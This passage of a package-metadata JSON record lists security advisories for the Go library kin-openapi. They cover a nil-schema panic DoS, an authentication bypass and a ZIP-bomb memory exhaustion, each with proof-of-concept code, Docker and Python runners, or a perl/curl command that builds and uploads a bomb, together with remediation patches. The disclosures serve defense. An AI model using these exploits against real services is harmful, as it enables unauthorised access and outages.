openapi3filter.NoopAuthenticationFunc},\n\t\t}); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(h)\n\tdefer srv.Close()\n\n\t// The single, unauthenticated attack request.\n\tresp, err := http.Get(srv.URL + \"/c?cfg=1\")\n\tif err != nil {\n\t\t// Expected: the server goroutine panicked, so the client sees EOF.\n\t\tfmt.Printf(\"client received an aborted response (expected): %v\\n\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tfmt.Printf(\"UNEXPECTED: got HTTP %d without a panic\\n\", resp.StatusCode)\n}\n```\n\n**3. Observed result** — the request goroutine panics inside validation, and the client's `http.Get` returns an EOF:\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)\n\topenapi3filter/req_resp_decoder.go:197\ngithub.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)\n\topenapi3filter/req_resp_decoder.go:166\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)\n\topenapi3filter/validate_request.go:177\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\topenapi3filter/validate_request.go:83\n```\n\nSwapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause.\n\n### Impact\n\nThis is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`.\n\nThe precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it:\n\n| Wiring | Recovered by `net/http`? | Result |\n|---|---|---|\n| Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. |\n| `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. |\n| Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** |\n\nThis is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process.\n\n---\n\n## Remediation (suggested)\n\nAdd a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {\n    err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n    return\n}\nif mt.Schema == nil {\n    err = fmt.Errorf(\"parameter %q content media type has no schema\", param.Name)\n    return\n}\noutSchema = mt.Schema.Value\n```\n\nThe `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent.\n\n**Workarounds for consumers, pending a patch:**\n\n- Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time.\n- Supply a custom `ParamDecoder` that guards `mt.Schema == nil`.\n- Run request validation inside a handler with an explicit `recover()` — especially if validation runs off the request goroutine or on a non-`net/http` host.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T22:39:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq","https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64","https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","https://github.com/advisories/GHSA-jpcw-4wr7-c3vq"],"source_kind":"github","identifiers":["GHSA-jpcw-4wr7-c3vq","CVE-2026-73502"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T23:00:09.219Z","updated_at":"2026-09-25T12:01:28.212Z","epss_percentage":0.00507,"epss_percentile":0.40629,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.144.0","vulnerable_version_range":"\u003c= 0.143.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD","url":"https://github.com/advisories/GHSA-r277-6w6q-xmqw","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 — Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) — Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n  -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c'EOF'\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = 'body=\"SECRET_DATA\\\\n\"'\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS — Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-24T16:52:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw","https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da","https://github.com/getkin/kin-openapi/releases/tag/v0.144.0","https://github.com/advisories/GHSA-r277-6w6q-xmqw"],"source_kind":"github","identifiers":["GHSA-r277-6w6q-xmqw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.078Z","updated_at":"2026-09-03T07:00:50.048Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.144.0","vulnerable_version_range":"\u003c= 0.143.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjc3LTZ3NnEteG1xd84ABfrD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi","url":"https://github.com/advisories/GHSA-wq9g-9vfc-cfq9","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: 'Validator'\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        '200':\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e 'print \"0\" x 5000000000' \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-19T18:12:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9","https://github.com/getkin/kin-openapi/pull/1059","https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1","https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275","https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523","https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse","https://nvd.nist.gov/vuln/detail/CVE-2025-30153","https://github.com/advisories/GHSA-wq9g-9vfc-cfq9"],"source_kind":"github","identifiers":["GHSA-wq9g-9vfc-cfq9","CVE-2025-30153"],"repository_url":"https://github.com/getkin/kin-openapi","blast_radius":0.0,"created_at":"2025-03-19T19:07:59.846Z","updated_at":"2026-10-03T14:06:29.676Z","epss_percentage":0.00527,"epss_percentile":0.42542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.131.0","vulnerable_version_range":"\u003c 0.131.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cTlnLTl2ZmMtY2ZxOc4ABFpi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/getkin/kin-openapi","docker_dependents_count":558,"docker_downloads_count":4663598080,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/getkin/kin-openapi","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/getkin/kin-openapi/dependencies","status":null,"funding_links":["https://github.com/sponsors/fenollp"],"critical":true,"issue_metadata":{"last_synced_at":"2026-09-30T13:00:50.856Z","issues_count":473,"pull_requests_count":896,"avg_time_to_close_issue":15738383.981627297,"avg_time_to_close_pull_request":2823795.9791183295,"issues_closed_count":381,"pull_requests_closed_count":862,"pull_request_authors_count":284,"issue_authors_count":354,"avg_comments_per_issue":2.171247357293869,"avg_comments_per_pull_request":1.0625,"merged_pull_requests_count":727,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":35,"past_year_pull_requests_count":135,"past_year_avg_time_to_close_issue":4411273.44,"past_year_avg_time_to_close_pull_request":574114.5793650794,"past_year_issues_closed_count":25,"past_year_pull_requests_closed_count":126,"past_year_pull_request_authors_count":43,"past_year_issue_authors_count":26,"past_year_avg_comments_per_issue":1.2285714285714286,"past_year_avg_comments_per_pull_request":0.8962962962962963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":99,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/issues","maintainers":[{"login":"fenollp","count":252,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fenollp"},{"login":"danielgtaylor","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielgtaylor"},{"login":"wwerner","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wwerner"},{"login":"jban332","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jban332"}],"active_maintainers":[{"login":"fenollp","count":19,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fenollp"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgetkin%2Fkin-openapi/codemeta","maintainers":[]}